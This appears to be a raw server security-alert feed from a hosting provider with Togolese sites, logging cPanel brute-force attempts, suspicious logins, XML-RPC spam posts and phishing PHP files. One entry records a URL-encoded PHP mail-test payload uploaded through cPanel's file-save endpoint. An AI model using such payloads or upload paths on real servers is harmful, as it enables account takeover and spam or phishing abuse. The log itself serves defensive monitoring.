rule: 11006
name: cPanel login success
abuser: 5.230.153.42
country_id: 2635167
description:
[2026-06-16 13:54:21 +0000] info [cpaneld] 5.230.153.42 NEW yydrdvav:ePatV7DiHpNPrptk address=5.230.153.42,app=cpaneld,creator=yydrdvav,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 80.237.65.19
country_id: 2017370
description:
[2026-06-16 13:53:22 +0000] info [cpaneld] 80.237.65.19 - togoc "GET /login/?login_only=1&user=togoc&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user togoc (has_cpuser_file failed)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 112.133.105.205
country_id: 1835841
description:
Jun 16 13:53:22 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 112.133.105.205 has been locked due to Imunify RBL


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 103.77.238.61
country_id: 1269750
domain: ekeasarl.com
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:ekeasarl.ekeasarl.com||ServerName:ekeasarl.com||Method:metaWeblog.newPost||BlogID:1||TitleSHA:57eb25dbeb6b0c389d729b4028ba608d6c276832||Title:65zpnudbh76l8d||RSV:8.17||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.181
country_id: 1880251
description:
47.128.96.181 - - [16/Jun/2026:13:53:41 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6841967&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Fbrasserie-bb-togo%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781618020 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/brasserie-bb-togo/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.181


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 103.77.238.61
country_id: 1269750
domain: ekeasarl.com
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:ekeasarl.ekeasarl.com||ServerName:ekeasarl.com||Method:metaWeblog.newPost||BlogID:1||TitleSHA:b752343dbe7eb05481e7be38ec56bac288d309bd||Title:6ygoh4p2b6in20ftl4||RSV:8.17||T:APACHE||


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 5.230.133.225
country_id: 2635167
description:
[2026-06-16 13:54:29 +0000] info [cpaneld] 5.230.133.225 NEW naduwpdk:Y6YQzqiz31FHUy0f address=5.230.133.225,app=cpaneld,creator=naduwpdk,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 5.230.153.38
country_id: 2635167
description:
[2026-06-16 13:55:04 +0000] info [cpaneld] 5.230.153.38 NEW naduwpdk:86dv7KCsaS87VtPH address=5.230.153.38,app=cpaneld,creator=naduwpdk,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 222.185.255.227
country_id: 1814991
description:
Jun 16 13:56:18 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 222.185.255.227 has been locked due to Imunify RBL


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 103.77.238.61
country_id: 1269750
domain: ekeasarl.com
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:ekeasarl.ekeasarl.com||ServerName:ekeasarl.com||Method:metaWeblog.newPost||BlogID:1||TitleSHA:a1f202a25a1e7725d021c6d44c351bc1f480c7b7||Title:l3u4oxt37w7kxq8sc||RSV:8.17||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 201.77.148.62
country_id: 3469034
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/776662 HTTP/1.1||RSV:8.17||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 103.77.238.61
country_id: 1269750
domain: ekeasarl.com
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:ekeasarl.ekeasarl.com||ServerName:ekeasarl.com||Method:metaWeblog.newPost||BlogID:1||TitleSHA:5f0dce643c37b254d7cfc74454a7ae33ba5b4adf||Title:06z6o3xew0p2yk||RSV:8.17||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 103.77.238.61
country_id: 1269750
domain: ekeasarl.com
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:ekeasarl.ekeasarl.com||ServerName:ekeasarl.com||Method:metaWeblog.newPost||BlogID:1||TitleSHA:ad94ee1cb9405aa78756c521ca41e7d2460a6db2||Title:jud5ktx7ch7beu||RSV:8.17||T:APACHE||


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 107.175.5.67
country_id: 6252001
description:
[2026-06-16 13:57:46 +0000] info [cpaneld] 107.175.5.67 NEW doufelg:F0eQBY5g5HZficLk address=107.175.5.67,app=cpaneld,creator=doufelg,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 170.78.195.132
country_id: 3865483
description:
[2026-06-16 13:59:08 +0000] info [cpaneld] 170.78.195.132 - lasn "GET /login/?login_only=1&user=lasn&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user lasn (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 80.29.119.57
country_id: 2510769
description:
[2026-06-16 13:59:13 +0000] info [cpaneld] 80.29.119.57 - las "GET /login/?login_only=1&user=las&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user las (has_cpuser_file failed)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 212.103.224.104
country_id: 2635167
description:
2026-06-16 13:58:27 dovecot_login authenticator failed for H=(94.154.35.215) [212.103.224.104]:36754: 535 Incorrect authentication data (set_id=sergdev@dgdn-togo.tg)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 103.77.238.61
country_id: 1269750
domain: ekeasarl.com
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:ekeasarl.ekeasarl.com||ServerName:ekeasarl.com||Method:metaWeblog.newPost||BlogID:1||TitleSHA:c44c9f02a98c2bd220d1d1bb9e03d92c4dea96fa||Title:d31ablkz26nkg46||RSV:8.17||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 93.123.225.69
country_id: 2017370
description:
[2026-06-16 13:58:56 +0000] info [cpaneld] 93.123.225.69 - admin "GET /login/?login_only=1&user=admin&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user admin (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 102.213.229.137
country_id: 2215636
description:
[2026-06-16 13:58:59 +0000] info [cpaneld] 102.213.229.137 - lasnb "GET /login/?login_only=1&user=lasnb&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user lasnb (has_cpuser_file failed)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 103.77.238.61
country_id: 1269750
domain: ekeasarl.com
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:ekeasarl.ekeasarl.com||ServerName:ekeasarl.com||Method:metaWeblog.newPost||BlogID:1||TitleSHA:ec4d5f87f74d0eef616878c652675e961e62d981||Title:sl7lhfk2r02qa3vkg||RSV:8.17||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 103.77.238.61
country_id: 1269750
domain: ekeasarl.com
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:ekeasarl.ekeasarl.com||ServerName:ekeasarl.com||Method:metaWeblog.newPost||BlogID:1||TitleSHA:ce4d1743bab60add06014fae5ec8f914eb560684||Title:u26w3wljbvkw1r80||RSV:8.17||T:APACHE||


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 64.44.59.166
country_id: 6252001
description:
[2026-06-16 14:00:54 +0000] info [cpaneld] 64.44.59.166 NEW zauwogvk:DuHb_wzA9jtjSVIt address=64.44.59.166,app=cpaneld,creator=zauwogvk,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 134.195.83.31
country_id: 6252001
description:
[2026-06-16 14:00:59 +0000] info [cpaneld] 134.195.83.31 NEW efberwhk:bdhB6iuVBwX5Y3EH address=134.195.83.31,app=cpaneld,creator=efberwhk,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 191.19.20.173
country_id: 3469034
description:
[2026-06-16 14:01:41 +0000] info [cpaneld] 191.19.20.173 - ba "GET /login/?login_only=1&user=ba&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user ba (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 178.233.1.80
country_id: 298795
description:
[2026-06-16 14:01:37 +0000] info [cpaneld] 178.233.1.80 - ban "GET /login/?login_only=1&user=ban&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user ban (has_cpuser_file failed)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 103.77.238.61
country_id: 1269750
domain: ekeasarl.com
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:ekeasarl.ekeasarl.com||ServerName:ekeasarl.com||Method:metaWeblog.newPost||BlogID:1||TitleSHA:5cb8da06fc0507733df441268d2fdc9dd433e08d||Title:m0ja238nrkw0i50||RSV:8.17||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 181.43.214.26
country_id: 3895114
description:
[2026-06-16 14:01:29 +0000] info [cpaneld] 181.43.214.26 - banmla "GET /login/?login_only=1&user=banmla&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user banmla (has_cpuser_file failed)


plugin: modsec
rule: 77609300
name: IM360 WAF: Possible phishing page detected
abuser: 134.195.83.207
country_id: 6252001
domain: nerohost.free.netmaster.tg
description:
IM360 WAF: Possible phishing page detected||SC:/home/nerohostfreenetm/public_html/.555251754505075.php||RSV:8.17||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 189.215.148.36
country_id: 3996063
description:
[2026-06-16 14:01:32 +0000] info [cpaneld] 189.215.148.36 - banml "GET /login/?login_only=1&user=banml&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user banml (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 179.37.254.82
country_id: 3865483
description:
[2026-06-16 14:01:34 +0000] info [cpaneld] 179.37.254.82 - banm "GET /login/?login_only=1&user=banm&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user banm (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 45.172.101.14
country_id: 3469034
description:
[2026-06-16 14:01:20 +0000] info [cpaneld] 45.172.101.14 - banmlab "GET /login/?login_only=1&user=banmlab&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user banmlab (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 5.175.146.34
country_id: 99237
description:
[2026-06-16 14:01:23 +0000] info [cpaneld] 5.175.146.34 - banmlabtg "GET /login/?login_only=1&user=banmlabtg&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user banmlabtg (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 178.155.49.136
country_id: 2017370
description:
[2026-06-16 14:01:25 +0000] info [cpaneld] 178.155.49.136 - banmlabtg "GET /login/?login_only=1&user=banmlabtg&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user banmlabtg (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 113.211.213.115
country_id: 1733045
description:
[2026-06-16 14:01:31 +0000] info [cpaneld] 113.211.213.115 - banml "GET /login/?login_only=1&user=banml&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user banml (has_cpuser_file failed)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 139.99.170.109
country_id: 2077456
description:
139.99.170.109 - - [16/Jun/2026:14:02:09 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6472602&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781618526 HTTP/2.0" 302 0 afrique-distribution.net "https://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:139.99.170.109


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 5.230.133.34
country_id: 2635167
description:
[2026-06-16 14:03:11 +0000] info [cpaneld] 5.230.133.34 NEW wgqhqbem:m7HK9iQyHRp3GNNF address=5.230.133.34,app=cpaneld,creator=wgqhqbem,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 195.63.25.79
country_id: 2635167
description:
[2026-06-16 14:02:57 +0000] info [cpaneld] 195.63.25.79 - cfpjusti "POST /execute/Fileman/save_file_content?dir=public_html&path=public_html&from_charset=UTF-8&content=%3C%3Fphp+%24s+%3D+%22false%22%3Bif+%28mail%28%24_COOKIE%5B%22email_send_id%22%5D%2C%22Cp+Send+%23%22.%24_COOKIE%5B%22it_id%22%5D%2C%22Cp+Send+Working+..+%23%22.%24_COOKIE%5B%22it_id%22%5D.%22%5CnHash%3A+%22.md5%28time%28%29.uniqid%28%29%29%29%29+%7B%24s+%3D+%22true%22%3B%7Decho+%24s%3B%3F%3E&file=test123Cp.php&file_name=test123Cp.php HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: modsec
rule: 77609300
name: IM360 WAF: Possible phishing page detected
abuser: 173.211.89.202
country_id: 6252001
domain: universcom.tg
description:
IM360 WAF: Possible phishing page detected||SC:/home/kqracgxh/public_html/.133520547237477.php||RSV:8.17||T:APACHE||


plugin: modsec
rule: 77609300
name: IM360 WAF: Possible phishing page detected
abuser: 5.230.153.242
country_id: 2635167
domain: universcom.tg
description:
IM360 WAF: Possible phishing page detected||SC:/home/kqracgxh/public_html/.142800988040846.php||RSV:8.17||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 103.77.238.61
country_id: 1269750
domain: ekeasarl.com
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:ekeasarl.ekeasarl.com||ServerName:ekeasarl.com||Method:metaWeblog.newPost||BlogID:1||TitleSHA:7a025c412778f19cde18f452aa36c62318d6e667||Title:h5ux95cakgrk06ob||RSV:8.17||T:APACHE||


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 5.231.64.68
country_id: 3017382
description:
[2026-06-16 14:03:06 +0000] info [cpaneld] 5.231.64.68 NEW wwayrzpl:0sSFFha14Ml7jdWE address=5.231.64.68,app=cpaneld,creator=wwayrzpl,method=handle_form_login,path=form,possessed=0


plugin: modsec
rule: 77609300
name: IM360 WAF: Possible phishing page detected
abuser: 107.174.169.209
country_id: 6252001
domain: soroubat.tg
description:
IM360 WAF: Possible phishing page detected||SC:/home/jdzxeovw/public_html/.762299698436114.php||RSV:8.17||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 196.169.20.117
country_id: 2363686
description:
[2026-06-16 14:03:59 +0000] info [webmaild] 196.169.20.117 - ebataka@caissederetraites.tg "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password incorrect


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 1.187.162.57
country_id: 1269750
domain: conseilnsaftogo.org
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:86377.conseilnsaftogo.org||ServerName:conseilnsaftogo.org||Method:metaWeblog.newPost||BlogID:1||TitleSHA:8bfe5be6085b7d8efb43bffda516a360d87a6eaa||Title:0xf7d3b1f8||RSV:8.17||T:APACHE||


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 5.230.153.180
country_id: 2635167
description:
[2026-06-16 14:04:10 +0000] info [cpaneld] 5.230.153.180 NEW qledpnjw:U8YtFQ21YE5jKAfV address=5.230.153.180,app=cpaneld,creator=qledpnjw,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 107.175.5.98
country_id: 6252001
description:
[2026-06-16 14:03:38 +0000] info [cpaneld] 107.175.5.98 NEW eevbufog:1a_96h2HZJ40FtsE address=107.175.5.98,app=cpaneld,creator=eevbufog,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 5.230.153.136
country_id: 2635167
description:
[2026-06-16 14:04:10 +0000] info [cpaneld] 5.230.153.136 NEW elmkvzcm:gWTGoHTFXg17ZusW address=5.230.153.136,app=cpaneld,creator=elmkvzcm,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 5.230.153.167
country_id: 2635167
description:
[2026-06-16 14:03:32 +0000] info [cpaneld] 5.230.153.167 NEW jdzxeovw:93nUjJ9J60Ixexo1 address=5.230.153.167,app=cpaneld,creator=jdzxeovw,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 196.171.133.76
country_id: 2363686
description:
[2026-06-16 14:04:07 +0000] info [webmaild] 196.171.133.76 - info@matosshop.tg "GET / HTTP/1.1" DEFERRED LOGIN webmaild: security token missing


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 103.77.238.61
country_id: 1269750
domain: ekeasarl.com
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:ekeasarl.ekeasarl.com||ServerName:ekeasarl.com||Method:metaWeblog.newPost||BlogID:1||TitleSHA:0564b52d27b6f9b195a43ec0005d8d1ac8db5fcd||Title:sjutnulfl7ixut0eo||RSV:8.17||T:APACHE||


plugin: modsec
rule: 77609300
name: IM360 WAF: Possible phishing page detected
abuser: 107.175.5.98
country_id: 6252001
domain: sahamtg.com
description:
IM360 WAF: Possible phishing page detected||SC:/home/sahamtg/public_html/.875361349563863.php||RSV:8.17||T:APACHE||


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 5.230.133.56
country_id: 2635167
description:
[2026-06-16 14:03:37 +0000] info [cpaneld] 5.230.133.56 NEW eevbufog:pCUYuZoULRLbf7Pk address=5.230.133.56,app=cpaneld,creator=eevbufog,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 5.230.153.208
country_id: 2635167
description:
[2026-06-16 14:04:13 +0000] info [cpaneld] 5.230.153.208 NEW qfaclpeg:X648DbbuoQJ4h0SI address=5.230.153.208,app=cpaneld,creator=qfaclpeg,method=handle_form_login,path=form,possessed=0


plugin: modsec
rule: 77609300
name: IM360 WAF: Possible phishing page detected
abuser: 64.44.59.19
country_id: 6252001
domain: ucoangers.tg
description:
IM360 WAF: Possible phishing page detected||SC:/home/eevbufog/public_html/.037393836881214.php||RSV:8.17||T:APACHE||


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 134.195.82.52
country_id: 6252001
description:
[2026-06-16 14:04:51 +0000] info [cpaneld] 134.195.82.52 NEW zxtqbmmj:rKb7NtrvJpYO0QcO address=134.195.82.52,app=cpaneld,creator=zxtqbmmj,method=handle_form_login,path=form,possessed=0


plugin: modsec
rule: 77609300
name: IM360 WAF: Possible phishing page detected
abuser: 134.195.83.78
country_id: 6252001
domain: nerohost.free.netmaster.tg
description:
IM360 WAF: Possible phishing page detected||SC:/home/nerohostfreenetm/public_html/.809146518166346.php||RSV:8.17||T:APACHE||


plugin: modsec
rule: 77609300
name: IM360 WAF: Possible phishing page detected
abuser: 5.175.229.130
country_id: 2921044
domain: sophie-immobilier.tg
description:
IM360 WAF: Possible phishing page detected||SC:/home/mipbtgnb/public_html/.299620047655332.php||RSV:8.17||T:APACHE||


plugin: modsec
rule: 77609300
name: IM360 WAF: Possible phishing page detected
abuser: 5.231.64.168
country_id: 3017382
domain: perfect-labo.com
description:
IM360 WAF: Possible phishing page detected||SC:/home/zxtqbmmj/public_html/.803563476383668.php||RSV:8.17||T:APACHE||


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 5.230.153.242
country_id: 2635167
description:
[2026-06-16 14:04:33 +0000] info [cpaneld] 5.230.153.242 NEW rqgqpxof:S32_wG7qnS4kfL5m address=5.230.153.242,app=cpaneld,creator=rqgqpxof,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 196.169.20.117
country_id: 2363686
description:
[2026-06-16 14:04:25 +0000] info [webmaild] 196.169.20.117 - ebataka@caissederetraites.tg "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password incorrect


plugin: modsec
rule: 77609300
name: IM360 WAF: Possible phishing page detected
abuser: 134.195.82.54
country_id: 6252001
domain: perfect-labo.com
description:
IM360 WAF: Possible phishing page detected||SC:/home/zxtqbmmj/public_html/.675478194502410.php||RSV:8.17||T:APACHE||


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 5.230.133.158
country_id: 2635167
description:
[2026-06-16 14:04:34 +0000] info [cpaneld] 5.230.133.158 NEW tgkkwsvr:Uu1NZffredBnzwJD address=5.230.133.158,app=cpaneld,creator=tgkkwsvr,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 5.175.229.192
country_id: 2921044
description:
[2026-06-16 14:04:39 +0000] info [cpaneld] 5.175.229.192 NEW doufelg:80AKriMeLZZWvYjw address=5.175.229.192,app=cpaneld,creator=doufelg,method=handle_form_login,path=form,possessed=0


plugin: modsec
rule: 77609300
name: IM360 WAF: Possible phishing page detected
abuser: 5.230.153.94
country_id: 2635167
domain: matwtogo.org
description:
IM360 WAF: Possible phishing page detected||SC:/home/rqgqpxof/public_html/.574869456310592.php||RSV:8.17||T:APACHE||


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 5.230.153.74
country_id: 2635167
description:
[2026-06-16 14:04:29 +0000] info [cpaneld] 5.230.153.74 NEW sahamtg:0YBjd96QaA1xWuIG address=5.230.153.74,app=cpaneld,creator=sahamtg,method=handle_form_login,path=form,possessed=0


plugin: modsec
rule: 77609300
name: IM360 WAF: Possible phishing page detected
abuser: 64.44.62.223
country_id: 6252001
domain: test.free.netmaster.tg
description:
IM360 WAF: Possible phishing page detected||SC:/home/hphhdcxi/public_html/.468692851900459.php||RSV:8.17||T:APACHE||


plugin: modsec
rule: 77609300
name: IM360 WAF: Possible phishing page detected
abuser: 5.230.153.46
country_id: 2635167
domain: sahamtg.com
description:
IM360 WAF: Possible phishing page detected||SC:/home/sahamtg/public_html/.137385694424671.php||RSV:8.17||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 103.77.238.61
country_id: 1269750
domain: ekeasarl.com
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:ekeasarl.ekeasarl.com||ServerName:ekeasarl.com||Method:metaWeblog.newPost||BlogID:1||TitleSHA:4276dde883d3a02389fe089e805580df6a8f8371||Title:dzh4xsw53f8mhomxfm||RSV:8.17||T:APACHE||


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 198.163.193.160
country_id: 1512440
description:
2026-06-16 14:04:35 H=([198.163.193.160]) [198.163.193.160]:28300 F=<John@4452.com> rejected RCPT <gilbert@sodigaz.tg>: Sender verify failed


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 107.174.169.209
country_id: 6252001
description:
[2026-06-16 14:05:24 +0000] info [cpaneld] 107.174.169.209 NEW marketplacenetma:ZuBn0odcxNSOP2OO address=107.174.169.209,app=cpaneld,creator=marketplacenetma,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 64.44.62.169
country_id: 6252001
description:
[2026-06-16 14:05:25 +0000] info [cpaneld] 64.44.62.169 NEW rqgqpxof:gWrOKNw3y5OV3acW address=64.44.62.169,app=cpaneld,creator=rqgqpxof,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 5.230.133.148
country_id: 2635167
description:
[2026-06-16 14:06:13 +0000] info [cpaneld] 5.230.133.148 NEW njdbfcnn:X4KUkUR6Tvg3bb0X address=5.230.133.148,app=cpaneld,creator=njdbfcnn,method=handle_form_login,path=form,possessed=0


plugin: modsec
rule: 77609300
name: IM360 WAF: Possible phishing page detected
abuser: 5.231.64.86
country_id: 3017382
domain: festics.tg
description:
IM360 WAF: Possible phishing page detected||SC:/home/njdbfcnn/public_html/.240217735275948.php||RSV:8.17||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 103.77.238.61
country_id: 1269750
domain: ekeasarl.com
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:ekeasarl.ekeasarl.com||ServerName:ekeasarl.com||Method:metaWeblog.newPost||BlogID:1||TitleSHA:34fea2cdad36d35396eeb34f9f6aaf6ad55fd9c2||Title:gemdk30cvoiupe3rus||RSV:8.17||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 196.169.20.117
country_id: 2363686
description:
[2026-06-16 14:05:55 +0000] info [webmaild] 196.169.20.117 - ebataka@caissederetraites.tg "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password incorrect


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 5.230.153.49
country_id: 2635167
description:
[2026-06-16 14:06:13 +0000] info [cpaneld] 5.230.153.49 NEW expirefreenetmas:T9hrrwNnfLWpWmbH address=5.230.153.49,app=cpaneld,creator=expirefreenetmas,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 186.12.204.87
country_id: 3865483
description:
186.12.204.87 - - [16/Jun/2026:14:06:08 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6854039&pdata=https%253A%252F%252Ftogodailynews.tg%252Fdr-rodney-howard-browne-recu-par-le-chef-de-letat-2%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781618766 HTTP/2.0" 302 0 togodailynews.tg "https://togodailynews.tg/dr-rodney-howard-browne-recu-par-le-chef-de-letat-2/" "Mozilla/5.0 (Linux; Android 8.0; Pixel 2 Build/OPD3.170816.012) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.8325.1730 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:186.12.204.87


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 5.230.153.33
country_id: 2635167
description:
[2026-06-16 14:05:25 +0000] info [cpaneld] 5.230.153.33 NEW lhqeyybr:PrqUy6M5lcgw41vq address=5.230.153.33,app=cpaneld,creator=lhqeyybr,method=handle_form_login,path=form,possessed=0


plugin: modsec
rule: 77609300
name: IM360 WAF: Possible phishing page detected
abuser: 5.230.153.179
country_id: 2635167
domain: expire.netmaster.tg
description:
IM360 WAF: Possible phishing page detected||SC:/home/expirefreenetmas/public_html/.110503739796174.php||RSV:8.17||T:APACHE||


plugin: modsec
rule: 77609300
name: IM360 WAF: Possible phishing page detected
abuser: 5.231.255.78
country_id: 3017382
domain: soroubat.tg
description:
IM360 WAF: Possible phishing page detected||SC:/home/jdzxeovw/public_html/.326229723016044.php||RSV:8.17||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 103.77.238.61
country_id: 1269750
domain: ekeasarl.com
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:ekeasarl.ekeasarl.com||ServerName:ekeasarl.com||Method:metaWeblog.newPost||BlogID:1||TitleSHA:8e198dc5994f8951652967ffc274107491701cdd||Title:5w3nk8sjnibuk3ras||RSV:8.17||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 103.77.238.61
country_id: 1269750
domain: ekeasarl.com
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:ekeasarl.ekeasarl.com||ServerName:ekeasarl.com||Method:metaWeblog.newPost||BlogID:1||TitleSHA:f68556d491a960e81607c51021985ae4c68d4b7e||Title:bngvtm1u641f5m||RSV:8.17||T:APACHE||


plugin: modsec
rule: 77674285
name: IM360 WAF: Track upload attempt
